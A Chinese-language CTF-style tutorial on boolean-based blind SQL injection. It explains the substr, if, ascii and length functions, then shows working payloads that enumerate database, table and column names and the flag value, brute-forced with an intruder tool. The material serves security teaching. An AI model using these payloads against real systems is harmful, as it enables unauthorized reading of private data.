当前位置: 首页 > article >正文

【基于布尔的盲注】

一、sql基础

Substr

我们看一下用法1里面的str就是我们需要截取的字符,pos是需要截取的位置,len是我们需要截取的长度,例如右边的substr('123456',1,1)意思就是截取’123456’从第一位开始截取,截取两位,到2为止,用法2里少了一个len,它就会默认从截取的位置开始,一直截取到最后一位:
请添加图片描述

if

我们看到用法里的select if(1>2,1,0);因为1小于2不满足1大于2,于是呢就返回0:
请添加图片描述

Ascii

请添加图片描述

length

下面右边的例子中database()为web,执行后正确返回了web数据库名三个的长度:
请添加图片描述

二、布尔盲注

简介

请添加图片描述

练习

我们来看一下这道题:

请添加图片描述
我们先输入1返回了user:
请添加图片描述
加上单引号看看有没有sql注入,结果什么也没有:
请添加图片描述
我们再输入2,还是显示了user:
请添加图片描述
闭合一下试试,结果还是什么都没有,说明我们的闭合有问题:
请添加图片描述
把单引号删掉,重新出现了use,那么我们之前的union和报错注入都没办法使用了,这时我们就需要用到盲注:请添加图片描述

猜长度

我们先来分析一下盲注的payload:

id=1 and length(database())=3%23

请添加图片描述
我们来测试一下,等于1没有回显:

请添加图片描述
等于3成功回显,说明我们猜对了,并正常输出:

请添加图片描述

猜数据

拿到前面的长度后,我们就可以来猜数据了:

id=1 and if((ascii(substr((select database()),1,1))=118),1,0)%23

请添加图片描述
我们直接来测试,我们第一次猜的118为v,服务器没有返回数据,说明是错的:
请添加图片描述
我们再猜119为w,服务器成功返回数据,那么数据库名的第一个字符就是w:
请添加图片描述
那么当然我们不可能是用手一个一个猜,我们使用爆破模块,使用add给119打上标记:
请添加图片描述

然后选择爆破类似为整数,起始为32到127,因为Ascii码的可见范围就是32~127,步数填1,执行后我们根据length的长度就直接找到了能成功回显的数据包为119:
请添加图片描述
我们接着猜第二位,我们只要把1改成2,就能开始第二位的爆破:
请添加图片描述
成功拿到第二位101,第三位也是同理:
请添加图片描述

猜数据库名
id=1 and if((ascii(substr((select database()),1,1))=118),1,0)%23

猜表名长度
id=1 and if((select length(group_concat(table_name)) from information_schema.tables where table_schema=database())=8,1,0)%23

猜表名
id=1 and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=118),1,0)%23

猜列名长度
id=1 and if((select length(group_concat(column_name)) from information_schema.columns where table_name='flag')=7,1,0)%23

猜列名
id=1 and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),1,1))=118),1,0)%23

猜数据长度
id=1 and if(((select length(flag) from flag)=38),1,0)%23

猜数据
id=1 and if((ascii(substr((select flag from flag),1,1))=102),1,0)%23

我们接着再猜表名的长度,把等于号后面的数字打上标记:
请添加图片描述
依旧选择数字,因为我们这是猜的表名长度,就选1~10:
请添加图片描述
成功拿到表名长度为9,拿表名、列名、数据都是同理,剩下的就不试了:
请添加图片描述


http://www.kler.cn/news/331724.html

相关文章:

  • OpenAI o1与GPT-4o究竟强在哪里
  • python 实现linear algebra线性代数算法
  • 利用 notepad++ 初步净化 HaE Linkfinder 规则所提取的内容(仅留下接口行)
  • 每天一个数据分析题(四百八十九)- 主成分分析与因子分析
  • 记录一次docker报错无法访问文件夹,权限错误问题
  • Mac中访达显示/关闭隐藏文件
  • opencv实战项目(三十):使用傅里叶变换进行图像边缘检测
  • PHP泛目录生成源码,可生成长尾关键词页面,带使用方法视频教程
  • 记录一次病毒启动脚本
  • Linux shell编程学习笔记85:fold命令——让文件瘦身塑形显示
  • Github 2024-09-28Rust开源项目日报Top10
  • SQL学习1
  • 【微服务】负载均衡 - LoadBalance
  • 【保研纪念】计算机保研经验贴——南大cs、复旦cs、中南cs、清深海洋、清软
  • 3d重建 大场景
  • VIM常用操作
  • 数据结构——初识树和二叉树
  • 【GPT】对低阶版本的GPT探测:文学
  • Web-Machine-N7解题过程
  • YOLOv9改进策略 :IoU优化 | Unified-loU,用于高品质目标检测的统一loU ,2024年8月最新IoU